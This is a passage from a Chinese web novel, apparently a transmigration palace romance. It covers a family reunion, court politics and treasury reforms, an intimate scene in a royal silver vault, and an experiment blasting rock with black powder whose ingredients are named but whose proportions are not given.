阮锦扑哧笑出了声,心想你还挺自觉,他抱着豆沙包捏了捏他的脸颊,又叭唧亲了他一口,说道:“包包,爹爹告诉你一个秘密好不好?” 渊夜昙挥了挥手,那些随侍的太监们便退了出去。 豆沙包看了看爹爹认真的表情,问道:“什么秘密?” 阮锦指了指渊夜昙,问道:“你有没有觉得你和他长得很像?” 豆沙包张大了嘴巴,一副震惊了然的表情道:“啊……我明白了,该不会是……” 阮锦鼓励的朝他点了点头,小包包继续说道:“大哥是我的亲大哥,我们是失散多年的亲兄弟???” 阮锦:…… 渊夜昙:…… 好好好,他为什么要对一个小孩子抱有这种期待。 阮锦在他脑瓜上弹了弹,无语道:“你大哥比你爹爹的年纪都要大,你觉得我能不能生得出来他?” 豆沙包抬起短短胖胖的莲藕小胳膊捂住了脑袋,嘟起小嘴巴道:“啊?包包不知道啊!包包只知道大哥确实和包包长得像。” 阮锦轻轻笑了笑,说道:“除了兄弟,还有一种关系会长得像,那就是父子。” “父子?”豆沙包不解的看向渊夜昙,问道:“爹爹,你该不会是说,大哥就是我父亲吧?不是像九伯父那样的假父亲,是真父亲?别的小朋友都有的那种真父亲?” 阮锦鼓励的点了点头,豆沙包一脸开心的上前抱住了渊夜昙的大腿,高高大大的渊夜昙,对比着小小的豆沙包,那种萌感简直戳中了阮锦的心。 心想我们包包是肯定长不到这么大的了,毕竟他也是个小哥儿啊! 豆沙包扬起小脸儿仰望着渊夜昙,问道:“是这样吗大哥?” 渊夜昙弯身将他抱了起来,低低嗯了一声:“你爹爹说的没错,你是我的亲生儿子。” 本以为豆沙包接受起来会有些困难,谁料小家伙一听,当即扬起一个大大的笑脸,满眼兴奋的搂住了渊夜昙的脖子,高兴道:“太好了!太好了!我有父亲了!我的父亲还是渊国的王!比所有小朋友的父亲都厉害!啊啊啊我好开心呀!” 似是被豆沙包感染,渊夜昙也高兴的笑了起来,他抱着豆沙包转了一圈道:“嗯,所以,包包可以叫一声父亲吗?或者……叫一声阿爹……” 豆沙包却半点心理障碍都没有,他甜甜的叫了一声:“阿爹!” 叫完以后,还在渊夜昙的脸颊上亲了一口,亲完还对他咧嘴一笑:“阿爹,你怎么才出现呀?别的小朋友都有阿爹,只有包包一个爹爹。阿爹,如果你早点出现就好了。这样,爹爹出去谈生意的时候,你就可以陪着我了。” 阮锦:……呵,我的崽,你可真是天真了。 你爹爹和你阿爹就没有一个工作是轻松的,到时候你还是得独守空房。 豆沙包喋喋不休说了半天,渊夜昙却一个字也没说,正当阮锦意外看向他时,却见对方眼圈红透,竟似有眼泪流下来。 阮锦:?????? 不是,大哥,你是暴君啊! 这种情况,你竟然还哭了? 阮锦刚要说些什么,渊夜昙便将他和豆沙包一起搂进了怀里,肩膀颤抖了半天,甚至他还听到了低低的呜咽声。 阮锦有些害怕了,他轻轻拍了拍渊夜昙的肩膀,问道:“你……没事吧?” 渊夜昙半天没说话,直到情绪彻底平复下来,他才嗓音沙哑的开口道:“对……对不起,是我……辜负了你们。” 阮锦怔住,片刻后抬手擦了擦他眼角的湿润,不敢置信道:“你……真的哭了?我还以为你身为渊国之主,不可能会因为这些儿女情长的事流泪。” 渊夜昙嗓音低沉,说道:“渊王也是人,也是个普通人,为什么不能流泪?” 阮锦心想他也不知道为什么,只知道历史上所记录的渊帝冷心冷情,杀伐果断,以仇人之骨为床,一声令下便是流血飘杵,哪会为这小小的一件事哭呢? 可他渐渐觉得,好像自己所了解的渊王,和真正的渊王是不一样的。 阮锦问道:“当年你说走便走,没有丝毫留恋,当时你心里是怎么想的?” 渊夜昙回想着当年从桃花县回来的自己,半天后才皱了皱眉说道:“清醒后我的脑海里只有一件事,那就是我的仇尚未得报,不该在任何事情上蹉跎。不杀幽崇简,难消我心头大恨!” 如今幽崇简已经被他关进了水牢,本想对他处以极刑,但他一直想不到如何处理幽崇简才最能让他解恨,便一直在水牢里关着了。 阮锦大概明白了,说道:“所以,你打算怎么处理幽崇简?” 渊夜昙没想到,阮锦会突然问这个问题,他想了想,答道:“我本想将他凌迟处死,或者腰斩,或者车裂。但……” “但这些,都不足以让他赎清他应有的罪责,是不是?” 渊夜昙的身体开始颤抖,他重重的点头:“他的所做所为……罄竹难书!” 阮锦上前抱住渊夜昙,轻声道:“我知道,我都懂,所以,把他交给我来处理怎么样?不瞒你说,我来这里,为的就是看你处置幽崇简。” 历史上那斗大的鸡儿,他必是要参观一下的。 但这对幽崇简来说,也不过是小惩大戒,如渊夜昙所说的那样,幽崇简的所做所为,的确可以用罄竹难书来形容。 渊夜昙看向阮锦,问道:“处理幽崇简,交给你?” 阮锦点了点头:“嗯,你放心,我会让你一解心头之恨的。” 幽崇简在位几年,不知道祸害了幽国多少百姓,也不知道后宫里埋了多少宫妃的尸骨,更不知道让多少人流离失所,骨肉分离。 当初他在渊夜昙身上所造成的伤害,阮锦必定会一点一点的报复回来! 渊夜昙问道:“你不怕?” 阮锦轻笑:“这有什么好怕的?他作恶多端,我处理了他,是为民除害。” 渊夜昙的眼中却透着不忍:“可……可是,如果你做了这些,手上便沾染了鲜血。我怕……弄脏你……” 阮锦无语,心想又是这句话,他嘶了一声道:“人来这浊世间,哪有干干净净的?如果怕弄脏自己,就不去铲除恶人,独善其身,那也是一种变相的恶。” 渊夜昙不曾听说过阮锦这样的言论,他只听说过,以身饲虎者,非但得不到别人的同情,反倒是会被嫌弃他身上的伤疤。 当年,幽崇简把他与长姐关在一处,给他喂了那种见不得人的药。 他宁死,也不曾玷污长姐分毫,却还是传出他与长姐有染。 他手刃了那几个人,自此传出凶名,从那以后,他的身上便再无好听的名号。 阮锦拍了拍他的手背,说道:“安心,我心里有数。再说,也不是我亲手处理。九哥哥需要药人,只是先在我手上过一遭,后面就交给他了。” 渊夜昙猜到了,九大夫的医术很是了得,想必也自有他不知道的秘辛。 九大夫如果知道渊夜昙这么猜他一定会抗议,因为自己哪有什么秘辛,有秘辛的全是你家亲亲老婆好吗? 自从阮锦告诉他,人的肚子里有个没用的阑尾后,他每次看到活人都想给别人掏出来。 但是活人是不能随便开刀的,活死人就不一样了,幽崇简坏事做绝,让他出来为人类做点贡献,也算他的造化。 最终,渊夜昙终于同意了阮锦的要求,把幽崇简的处置权给了他。 今夜他必定是回不去了,渊夜昙抱着豆沙包带着他去了天行殿寝宫,进去的时候阮锦还捏了一把汗,试探着问他:“你该不会……真的有一把人骨床吧?天天晚上……睡人骨上?” 渊夜昙轻笑,牵着他的手往里走,却见殿内灯火通明,并没见到什么人骨床,布置也算华丽威严,只是没什么人气儿。 一边往里走,渊夜昙一边答道:“我的确有一把人骨床,也确实是曾经害过我之人所制,刚好还差一条床腿。那只是我给自己留的随葬品,怎么可能放在殿内?” 阮锦的眉心蹙了起来,他一把扯住渊夜昙,问道:“你该不会时时都抱着去死的想法吧?你这想法很危险我告诉你,你最好趁早打消了它!” 渊夜昙捂了捂自己的心脏,不敢去看阮锦,因为他之前的确是这么想的。 血尸山一行,让他透支了许多连他自己都不知道的东西,当初那个人对他说了很多,他都一一答应了。 可他除了答应他的那些条件外,需付出的代价却全忘光了,一个也没记住。 自以为是的猜测应该是阳寿,毕竟在去血尸山的时候,他的阳寿就该尽了的。 靠着那人给的奇异功法,他苟活了这许多年,便想着等到自己完成他所有的条件,报了自己该报的仇,便将这些许阳寿还回去。 如今他却不敢这么想了,甚至有些奢望,或许……对方想要的并不是自己的阳寿……也未可知? 第130章 片刻后,渊夜昙才弱弱的应道:“……我没有。” 阮锦内心一个呵呵哒,心想我信你个鬼,不知道是谁在一统中原后,给自己修了个大坟就把自己给困死在里面了。 明明阿蛮那么可爱,主人格为何会疯成这样? 当晚,阮锦便睡在了渊夜昙的天行殿寝宫,只是给他硬得能硌死人的床铺加了两床棉褥,加了一条软绵绵的床单,以及一床大红鸳鸯锦被。 看到这个被子的时候他也很迷惑,MJ的掌柜这是什么审美,这颜色,不知道的还以为谁要入洞房。 还好渊夜昙的床够大,睡他们一家三口也是绰绰有余的。 以前他看小说总是看到什么kingsize,这大概才是名副其实的kingsize。 豆沙包刚有父亲,比较兴奋,一直扯着渊夜昙问东问西。 虽然渊夜昙天生缺少面部表情,仿佛一个面瘫,但豆沙包的问题他却是句句有回应的。 阮锦却已经困的不行了,他翻了个身,抱着个大枕头滚去一边睡得香甜。 天知道他有多久没睡过这么香甜的觉了,没有阿蛮在身边的这些年,他都是累极了才会进入睡眠。 所以他才会很晚才睡,以至于早晨根本起不来。 和阮锦不同,渊夜昙却不论如何都睡不着,怀里的豆沙包不知道什么时候睡着的,小家伙很喜欢碎碎念,直到渊夜昙发现怀里的小人儿没动静了,才发现小家伙小脚丫搭在他肚子上,已经打起了小呼噜。 他把豆沙包放到小枕头上,自己则起身下床,推门吩咐外面的大太监:“今夜之事,不可传扬出去。” 大太监忠心耿耿的应道:“王上放心,奴才们一个字也不会说。” 渊夜昙没再说什么,只是提起气劲上了房,看着头顶上的月色,想着屋内睡着的父子俩,唇角不自觉的便勾了起来。 他心想,我要封阿锦为王后,封包包为太子! 转念一想,随即又打消了念头,此时的自己还是个外室,连个名份都没有,又有什么资格封他为王后? 这样想着,渊夜昙就觉得自己混的太惨了,为什么只混得了个外室? 他没有正夫,自己难道就不能扶正吗? 再一想,渊夜昙又意识到了什么,正室当然不能是自己,是他心心念念爱着的那个阿蛮啊! 渊夜昙又开始吃自己的醋,心想那阿蛮有什么好的,据说那时候他失忆加受伤,脑袋还被重创,还因为被捕兽夹夹了成了个跛足! 不论怎么比,也是比不上自己的。 想到这里,渊夜昙的心情又好了些,他心想,自己多和他相处一段时间,假以时日,想必能取代阿蛮在他心目中的地位吧? 今夜,渊夜昙脑子里难得多了些乱七八糟的东西,显得有些人味儿了。 第二日庭议,渊夜昙坐于王座之上,属于九卿之一的典客位置却是空着的,想必这家伙昨夜累惨了,到现在也没能起来床。 这时便有宗亲开始弹劾:“王上,这元典客竟连庭议都能迟到,还真是不把王上放到眼里!” 渊夜昙扫了他一眼,那位宗亲便觉得周身一阵森冷,渊夜昙开口道:“元卿有别的事要处理,和孤说过了。” 请假请到王亲自批,也确实挺牛的。 此时长兴侯开口道:“王上,臣听闻北越和幽国余孽犯我北疆边境。既然典客大人已经到任,不如便由他出使北越进行和谈,以解决两国之间的误会?” 终于匆忙赶来的阮锦一只脚还未踏入大殿,便听到长兴侯又在给他挖坑。 心想我这个典客屁股还没坐热乎,就急着让我去送死,你是真的一天都不想装啊! 渊夜昙也淡淡的哼了一声,心想老狐狸,我倒是要看看你又打什么鬼主意! 阮锦悄悄站到自己位置上,便听到渊夜昙低沉的声音传来:“这件事孤已经和元典客商议过了,不劳长兴侯费心。倒是有一件事,可能要劳烦长兴侯跑一趟了。” 长兴侯的表情滞了滞,问道:“呃……不知是何事?” 渊夜昙顿了片刻后说道:“近日,北郡大旱,南郡水患,东郡似是又有飞蝗成灾。孤找国师问了一卦,说是孤因连年征战,惹怒了东海龙王。需在东海之滨做一场祭祀,以求东海龙王的宽宥。想来,渊国也是多年未有大规模的祭祀了。只是孤国务繁忙,你身为奉常,这件事便交由你去做吧!这件事关乎国之社稷,长兴侯就不要耽搁时间,今日庭议结束后你便启程赶往东海吧!” 长兴侯:??? 不是,我今天过来是想把那姓元的支去北越,你王上却一开口把我支去东海了? 他的表情里一阵青红皂白,片刻后说道:“这……” 没等他说什么,渊夜昙便问道:“怎么?办不了?” “不不不不是,这是臣分内之事!” 渊夜昙面无表情:“既如此,那便不要耽搁了,你现在便去!大渊的江山社稷,便要仰仗长兴侯了!” 长兴侯骑虎难下,渊夜昙把他架了这么高,他一时间竟也不知道该如何推拒了。 只得硬着头皮应道:“臣……定不辱王命!” 这一趟祭祀没有个把俩月回不来,京城之事,怕是这老家伙想掺和也掺和不进来了。 阮锦站在那里和迟麟挤眉弄眼,心想王上可真坏,软刀子捅起来还挺利索。 后面渊夜昙又提了提北郡的旱情,迟麟把修渠的进度汇报了一下,只道:“没有意外,来年春天定可竣工!” 主要还是阮锦给的钱给力,那可是一百万两银,有钱能使鬼推磨,有钱也能使修渠的工程进度飞一般的加速! 渊夜昙满意的点了点头,又问南郡的汛情,负责南郡汛情的官员跪下便开始哭穷:“王上,巧妇难为无米之炊啊!臣听闻迟大人修渠有一百万两银子的预算,臣多了不要,只要五十万两!百姓,还等着米下锅呢啊!” 渊夜昙按了按自己的太阳穴,心想国库里是真没钱了,只得转头问刘少府:“少府大人,孤的私库中还有多少?” 刘少府的唇角抽了抽,心想您老库里还有多少钱,您是半点逼数都没有啊! 他清了清嗓子,开口道:“回王上,只剩五万两了。” 就这还是不小心刨出一个不知道哪家倒霉王爷的坟刨出来的,否则您连这五万两都没有。 负责汛情的大人:……啊这…… 这家王上可真穷! 阮锦差点儿没忍住笑出声,心想你这王是怎么当的,怎么穷成这样? 我一个店面都不低于十万两,你一个王,私库里连五万两都没有? 你钱都弄哪儿去了? 不怪渊夜昙没有钱,他本来就不重税,一有灾情便免税,还要掏钱出来赈灾,再加上他喜欢打仗,军饷发得足,怎么可能存得处银子。 就在渊夜昙搜肠刮肚,再从哪里拆点东墙出来补西墙时,阮锦终于忍不下去了,他两步上前开口道:“王上,您忘了,臣这边还有五百万两的税收银尚未入库,可解南郡汛情燃眉之急。” 这一开口就是五百万两,吓得渊夜昙差点呛到,他摆了摆手赶紧道:“这件事……晚点再说!” 防汛的大人砰砰嗑了两个响头,说道:“王上,可不能再晚了啊!此时南郡只是小规模水患,若是不及时修筑堤坝,怕是整个南郡都会受到影响!王上您就先给臣三十万两,让臣先把堤坝修上吧!” 阮锦朝渊夜昙使眼色,并伸出了一根手指,心想你最好赶快把这事儿给办了,否则你这王当的也没什么颜面了。 渊夜昙收到了自家老婆递过来的迅号,当即点了点头,开口道:“那便先从……元卿税银里拨出一百万两,用于南郡的防汛与灾情吧!” 防汛的大人一听,又嗑了三个响头:“多谢王上!多谢元大人解了我的燃眉之急啊!元大人您可真是……财神爷!” 一声财神爷,让阮锦在朝堂之上出了名,受到了所有忠臣良将的爱戴。 不论是宗亲还是寒门士子,只要是想做出一番事业的,都记住了阮锦这个财神爷。 因为众所周知,在渊国做事,最难的不是门路,而是钱。 渊夜昙这个王哪里都好,能打仗会带兵,爱民如子治下严谨,唯有一点,就是没有钱。 他酷爱打仗,每年的税收第一件事就是用来地军饷,第二件事是用来发官员们的薪奉,第三件事是填上一年的亏空。 是的,填上一年的亏空,也不知道哪里来的那么多亏空。 以至于下朝后,阮锦第一件事就是跑到了国库内,巧的很,负责财政的也是迟麟。 他这个大司农是块砖,哪里需要往哪儿搬。 在渊国,大司农不仅是工部,还是户部,某些时候也能当兵部和吏部使。 阮锦无语了,问道:“你一个人管那么多事,管得过来吗?” 迟麟一身正红色官袍,一脸怨气道:“你以为我愿意吗?你看看那些宗亲,他们像是能干实事儿的人吗?一个个的不吃空饷就不错了!” 阮锦一脸同情的看向大司农,叹息道:“罢了,跟我说说,钱都用哪儿了?” 迟麟给了他一个账本本,上面记录的都是近几年国库的收支情况。 阮锦翻了翻就知道了症结之所在,无奈道:“收少出多,你不亏空谁亏空?把渊夜昙给我叫过来!” 迟麟:??? 恐怕这个世上也只有阮锦敢这么直呼王上的名讳了。 片刻后,渊夜昙被叫了过来,那张脸仍是看不出任何表情,仿佛天生缺少几块面部肌肉。 但还是能从他闪躲的眼神里看出,这人在心虚。 阮锦笑眯眯的上前问道:“王上,堂堂一国之君,欠了百姓三千万两银子?” 渊夜昙十分尴尬道:“你听我解释,其实也不是欠,就是……一般我们是先用后结算。我也不清楚,怎么用着用着,就亏空了三千万两。” 阮锦上前敲了敲他的脑袋道:“你是王上啊!怎么就这么轻易的被别人给拿捏了呢?你这样下去,还怎么管理国家?基建没有钱,民生没有钱,更遑论赈济灾民修缮工事了!单单靠这些越来越少的税收,怎么可能养得起一国的臣民?” 说起这个一统天下的霸主,大家对他的第一评价就是智勇双全。 有谋略,有算计,有胆识,更是绝无仅有的顶级傀儡师。 可谁知道这么彪悍的一个王,他……是个败家子! 渊夜昙其实也很苦恼,他虚心求教道:“那你说……孤该怎么办?” 阮锦拿出一根竹箭,在墙上敲了敲,又拿出一根碳棒来,一边写一边道:“首先,我们要开源,何谓开源?” 其实像他这种情况,在历史上也是有过的,比如汉朝的某位皇帝,也是因为连年征战入不敷出采取了一系列的新政。 阮锦接着道:“首先,收归盐铁为国营,收归铸币权,各方诸侯禁止私下铸造钱币。然后,漕运、矿脉这两项重要资源,也必须限制民间私自运营。记住,是限制,不是禁止。成立漕运总督,矿业部门,为国采矿,以充国库。还有,四方诸侯是不是太多了?这里食邑,那里食邑,食来食去王上这里还能收回来几个子儿?这些诸侯是不是能削就削一削?” 渊夜昙看着仍是一副面无表情的模样,迟麟却兴奋极了,他的手上笔走如飞,激动的看着阮锦道:“还有呢?还有呢?元兄弟!你再多说些!” 阮锦清了清嗓子,说道:“暂时……也就这些,上次我和你说的那个铜仁矿脉,就是在那条矿脉上,还有一座储量不小的银矿。迟大人开采煤矿的同时,也把那边的银矿采出来暂时填充国库吧!” 迟麟激动的大喊一声:“是!元大人!本官这就去!不!本官现在马上就去采!” 说完他转身一溜烟跑没影儿了。 阮锦:??? 他转头看向渊夜昙,问道:“迟大人的性子,向来如此吗?” 然而渊夜昙却一言不发,只是眼睛直勾勾的看着他,看的阮锦全身发毛的拍了拍胳膊上的鸡皮疙瘩,后退两步问道:“你……这么看着我干什么?” 渊夜昙却两步跟了上去,将他逼至银库的角落里,后背贴着墙,一双唇就这么吻了上来。 阮锦一脸莫名,问道:“王上,你该不会是想在这里……打个卡吧?” 渊夜昙眨了眨眼,心想打个卡是什么意思?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 130-139 第131章 阮锦见他发懵,那表情看上去竟与阿蛮别无二致,让阮锦的心也是忍不住软了几分。 他上前捧住渊夜昙的脸颊,在他唇上狠狠的亲了一口,说道:“如果你想的话,倒也不是不行。” 在这方面,他向来不扭捏,他觉得性与爱是分不开的,他也贪恋肌肤相贴时的那几分温存。 渊夜昙搂着他的腰,眼神暗了暗,问道:“你与阿蛮,也经常这样吗?他……很主动?” 阮锦却容在他怀里低低的笑,说道:“他啊?不是诶,一般都是我主动呢。” 渊夜昙皱了皱眉,看向他的眼神里染上了怨气。 心想外室就是外室,他从未对自己主动过。 阮锦看到他的表情更是笑的不行了,说道:“小昙,你想试试吗?” 渊夜昙的眼睛亮了亮,问道:“我可以吗?” 阮锦的手向下游移,勾住了他的手指,低声道:“为什么不可以?” 说着他上前,舔了舔渊夜昙的耳垂,并朝着他耳朵里吹了一口气。 渊夜昙当即哆嗦了一下,呼吸滞住,双手忍不住攥成了拳状。 阮锦低声问道:“那你帮我看看,银库附近的守卫都在哪里?他们短时间内会不会进来?” 下一秒,渊夜昙便一挥手,银库厚重的铁门轰然关闭落锁,低低的声音正阮锦头顶传来:“不会有人进来了,铁门隔音,银库无窗,墙也至少有二尺厚。” 阮锦狂喜,心想你说的倒是够全面,不就是想让我叫给你听吗? 只是阮锦也挺期待的,他觉得这种事对于两个人来说都是奖励,他喜欢两个人亲密接触的感觉,也喜欢被阿蛮抱在怀里的亲昵。 更喜欢他在阿蛮身上为所欲为,对方无奈却又不得不纵容的模样。 就这样,阮锦勾了勾阿蛮的手指,并坏心眼的在他虎口上挠了挠,小声问道:“阿蛮喜欢哪种?站着,还是躺着?” 接吻姿势千千万,他们体验过的也不过是冰山一角。 阿蛮却抑制着自己狂跳的心脏,十分坦诚的答道:“只要是你,怎么样都喜欢。” 阮锦轻笑,心想这家伙还挺会说甜言蜜语。 银库里十分黑暗,没有半点光线,可正是因为这种黑暗,才更是加强了两人之间的感观。 阮锦轻轻推了推渊夜昙,让他躺到了银库冰冷的青石地面上,上身半倚在墙上,身上垫着他的外袍。 黑暗里,他摸索着吻上他的唇,他的颈侧,他的锁骨,并一路向下,含住他微微颤抖的手指。 他手指温热,勾挠着阮锦的口腔,使得他口腔里口水分泌,流淌在了渊夜昙的王袍上。 渊夜昙微喘着气,抬手按住阮锦的手脑,手指按压着他的舌头,让他发出一阵阵类似猫儿的呜咽声。 他的手指一次又一次的抓挠着他口腔的软肉,微麻,微痒,却又让人尝尽了无数的甜头。 直到渊夜昙一次又一次的溺毙在那甜头里,阮锦才缓缓起身,坐在了他的怀中,温柔的用手去轻轻抚摸他的胸腹肌。 渊夜昙终于忍无可忍,开口喊道:“阿锦……阿锦……我的阿锦!我好喜欢你……” 适应了黑暗光线的阮锦观察着他脸上的表情,可以确定,他的阿蛮不论变成什么样,身体都会很诚实的去爱他。 阿蛮终于得偿所愿,却仍不满足于方才那短暂的甜美。 再次将他抱在怀里,勾过他的手指,也轻轻的含入了自己的口中。 阮锦轻笑,却也在阿蛮耳边小声的叫着他的名字,叫出他最喜欢听的声音。 而此时的银库外却是如斯安静,谁也没有发现里面的荒唐。 渊夜昙问阮锦:“我的阳元上亢有些严重,你能承受吗?” 阮锦答道:“你在还是阿蛮的时候我就知道这些,我们却还是相处了半年,还生下了包包,你觉得我能承受吗?” 相较于阿蛮的阳元上亢,阮锦反倒是觉得自己更有X瘾。 尤其是和阿蛮在一起的时候,若是无事可做的时候,他第一个想到的便是和他在床上厮混。 这和渊夜昙从前了解的不太一样,因为他知道,幽崇简的后宅里经常抬出一具具尸首,男男女女都有。 不光有哥儿,甚至还有常人男子。 由此他判定,这些男男女女都脆弱的很,幽崇简这样的菜狗都能轻易的把人给玩儿死,更别说是他这种有阳元上亢的人了。 然而渊夜昙却不知道,幽崇简之所以会把人给玩儿死,不是因为那些男男女女脆弱,而是因为幽崇简有虐待癖好。 一整个下午,两人便就这样在银库里厮混过去了。 待到他们出来时,外面已是月上中天,皎洁的圆月在层层叠叠的云纱雾霭中穿行而过,散发出明明灭灭,暧昧的光晕。 渊夜昙牵着阮锦的手,阮锦的身上披着他的外袍,已入秋,天凉了。 虽是折腾了一整个下午,渊夜昙却仍然紧紧的牵着身边的人,似是半刻也离不开他一般。 阮锦无奈了,说道:“王上,您这样,小心百官参您沉迷男色不务朝政。再参我一个红颜祸水,咱俩就是千古罪人。” 渊夜昙却是低低的笑,十分傲慢的说道:“历史只由强者书写,成为千古罪人的都是没用的东西。” 这话阮锦是信的,的确只有打输了的人才会被骂千古罪人。 哪怕渊夜昙被历史上的所有人骂暴君,却没有一个人说他是千古罪人,因为他的功绩,足以掩盖他暴虐的本性。 两人悄悄溜回天行殿,发现包包已经睡了,这俩做爹的也是不及格,孩子天天野来野去,就算有了阿爹也没逃脱自己一个人睡的命运。 再一抬头,却看到床上还躺了另一个人,竟是端阳公主。 端阳公主应该是听到了他们回来的动静,当即坐了起来,迷迷糊糊的问了一句:“回来了?诶……这是……元伯爷?你们怎么一起回来的?哦……对了,我睡迷糊了,你便是包包的爹爹。别担心,包包我哄睡着了。你们俩也真是的,怎么没有一个管孩子的?” 渊夜昙上前查看了一眼手上攥着魔方的孩子,有些歉疚的说道:“我的错,明日我便安排乳母。” 端阳公主道:“安排什么乳母,既然元伯爷能在朝政上帮上你,那包包便交给我吧!这可是我们渊国唯一的后人,我身为他的亲姑姑,定是会照顾好他的。” 阮锦有些不好意思的问道:“公主殿下都知道了?” 端阳公主没好气的看了他一眼:“你也是,玩的一出好戏,还搞了个金蝉脱壳。不过倒是也没错,如果那个时候长兴侯父子知道你怀孕了,怕是不会放过你们。” 那时候的阮锦只是个普通的小商户,他们这边又没有立场去保护他,也是幸亏他够聪明,才保住了渊国这条细弱的血脉。 阮锦也凑过去看了一眼豆沙包,嘿嘿乐道:“我们包包这睡姿,跟只飞天猴崽子似的。” 端阳公主和渊夜昙也被他的形容给逗笑了,端阳公主道:“确实是只皮猴子,我陪他玩了一天,倒是把我累的不轻。我觉得小包包是个习武的好材料,倒是不如找个好师父教教他。” 渊夜昙问:“长姐有什么想法?” 端阳公主想了想,答道:“我看,蒙铎将军就不错。他自创了飞仙剑法,还有他们的蒙家十八式,都很是了得。” “至于傀儡之术……”端阳公主沉吟着:“我听说,最近蒙家军中出了一个了不起的小将军,好像叫……元子放。他才入军营不足一年,便立了大大小小无数战功。他的傀儡术,更是有王上的风范,尤其是傀儡蛇,可以说是出奇不意,曾大败幽军。” 听到元子放这个名字,阮锦忍不住清了清嗓子。 端阳公主疑惑的看向阮锦,问道:“元伯爷是认识这位小将军?呃……等等,他似乎和元伯爷一样,也姓元?” 阮锦不好意思的笑了笑,答道:“回公主殿下,是熟人。不过……王上应该比我更熟,毕竟他亲力亲为的教了别人半年的傀儡术。那孩子还极其蛮旧,一心一意的想去建功立业找师父。这不,这功还真让他给立上了。” 现在的元子放已经凭借战功被封为了震威将军,是蒙家军里最年轻的将军了。 渊夜昙一脸迷茫的问道:“我的徒弟?” 阮锦点了点头:“不是你的徒弟还能是谁的?人家一口一个师父的叫了你半年,你倒是好,转头就把别人忘了。” 渊夜昙也是没想到,自己不光在外面欠了情债,还欠了一屁股师徒债,自己真是造了孽了。 端阳公主了然:“难怪,我说他的傀儡术怎么和王上那么像。” 说完她便起身,抱起了正在熟睡的豆沙包,低声说道:“我把包包抱走了,你们两个……睡的也能舒服点。若是可以,还要辛苦元伯爷,多多为大渊开枝散叶。” 说着他轻轻朝阮锦低了低头,抱着包包离开了天行殿。 阮锦清了清嗓子,心想生孩子哪是那么容易的事情,我生一个包包就已经精疲力竭了。 不过现在包包有人带了,只怀的话倒也不算什么…… 他转头看向渊夜昙,问道:“王上还要生吗?” 渊夜昙面无表情,只回了一句:“孤随时都可以。” 阮锦:……你强你了不起哈! 第二日,两人都没能起来床,罢了早朝,放了满朝文武的鸽子。 阮锦觉得,自己可能距离被参红颜祸水不远了。 第132章 好在祸水很自觉,也只让渊夜昙误了一天的庭议,第二天便乖乖去和迟麟一起挖矿了。 迟麟对银矿比较感兴趣,但阮锦还是觉得,此时挖煤对于局势来说更有好处。 两人一拍即合,一个负责银矿,一个负责煤矿。 只是这个时代,开凿矿山对于他们来说还是太难了些,都是靠着人工一下一下的凿,猴年马月才能把矿挖出来! 想到这里,阮锦便乐呵呵的搂着迟麟道:“老兄,咱俩打个堵,看谁在一个月之内挖的山多怎么样?” 迟麟信心满满,说道:“这些工程,一直是由我负责的,我和阮老弟你比,会不会有点太欺负人了?” 他这边不光有专业的人才,还有专业的设备,开山用的大型开山车。 阮锦却一脸的自信,说道:“没事没事,小赌怡情嘛!咱们添点彩头?” 迟麟点头:“你说,想赌什么?” 阮锦想了想,说道:“如果我赢了,你就在朝堂上给我捏一个月的肩。如果你赢了,我就在朝堂上给你捶一个月的腿!” 迟麟嘶哈一声,心想在朝堂上,那可是丢人丢大发了! 不过,他喜欢! 迟麟难得狂妄的哈哈笑了两声,说道:“好,很好,咱们就这么定了!” 两人敲定以后,迟麟便带着人手和他的大型开山车上了银矿山。 阮锦却什么都没做,一个人就回了郡伯府。 一回到郡伯府,阮锦便跑去找了九大夫,此时的九大夫正在研究一种新药,一直听阮锦说青霉素,他就弄了只发霉的西瓜在那里用放大镜研究。 但古代的条件毕竟一般,九大夫研究来研究去,仍然没有什么进展。 阮锦一进来却丢给他一堆材料,说道:“先别研究青霉素了,把炸药给我研究出来再说,我得用它去炸山!” 九大夫丢了放大镜,看着那一堆材料问道:“就是你说的……那个威力很强大的炸药?” 阮锦点了点头,说道:“是的,来来来,先做个实验,让你见识见识炸药的威力。” 九大夫当即来了兴趣,把自己的操作台一收拾道:“好,你和我说怎么弄,我来给你操作。” 他眼中闪烁着跃跃欲试的光芒,把阮锦拉到操作台前:“先和我说说这都是些什么吧!” 阮锦指着那些材料,一一介绍道:“主要是硝石、硫磺和木炭粉末,硝石你见过了,咱们以前造冰的时候就是用的硝石。按照一定的比例混合,就制成了学名为火药的东西。我跟你说,这火药的威力可不是一般的大……” 阮锦一边叭叭叭,九大夫就在那里记记记。 九大夫一直觉得,阮锦就是自己最好的老师,在他的指导下,自己已经不知道制造出了多少有用的东西。 九大夫的眼中露出惊叹的神色,问道:“这么厉害的吗?它的原理是什么?” 阮锦一边教他如何操作,一边解答:“其威能并非来自蛮力,而是源于瞬间的剧烈燃烧,在密闭空间中产生巨大的气浪,足以开山裂石!原理一时难以说清,我们先按比例配比试试看。” 基于对阮锦诸多奇思妙想的信任,九大夫立刻挽起袖子,依照阮锦口述的粗略比例操作了起来。 其实阮锦也不是万能的,虽然他知道火药的成份,却也记不太清具体的比例了,只能一步一步的慢慢实验。 阮锦在一旁紧张地指导:“这个东西必须慎之又慎,稍有差池,威力便会大打折扣,甚至……失灵。可如果操作不当,又有可能会走火,所以九哥你可万万得小心!” 九大夫点点头,拿出捣药钵,将混合物细细研磨,神情专注得如同在配制救命的仙丹。 此时的空气中弥漫开一股硫磺和硝石特有的气味,让阮锦忍不住打了两个喷嚏。 混合完毕,阮锦找来一小截厚实的竹筒,小心翼翼地将少量黑灰色的粉末填入其中,压实,又插入一根用棉纸裹着少量火药搓成的细捻作为引信。 “这就成了?” 九大夫看着那其貌不扬的竹筒,语气里带着几分怀疑,这东西真能炸开坚硬的山石? “成不成,一试便知!”阮锦咧嘴一笑,眼中满是期待:“走走走,我们去找个空旷无人的地方。” 两人来到郡伯府后园一处假山石附近,阮锦将那个小小的竹筒药包塞进一道石缝里,示意九大夫远远退开,自己则拿出火折子,试探着上前去点火。 “九哥!捂上耳朵,张开嘴!”阮锦提醒道,随即点燃引信。 嗤嗤嗤—— 引信迅速燃烧,冒出细小的火花和白烟,阮锦立刻转身,几个箭步跑到九大夫身边蹲下,也捂住了耳朵。 九大夫瞪大了眼睛,紧紧盯着那石缝,心脏也不由自主地加速了跳动。 短暂的寂静之后,只听一声:轰隆!!! 一声绝非寻常爆竹可比的巨响猛然炸开!地面似乎都微微一颤! 只见那假山石缝处猛地腾起一股浓密的黑烟,碎石和竹片四散飞溅,强大的气浪将周围的尘土猛地推开一圈。 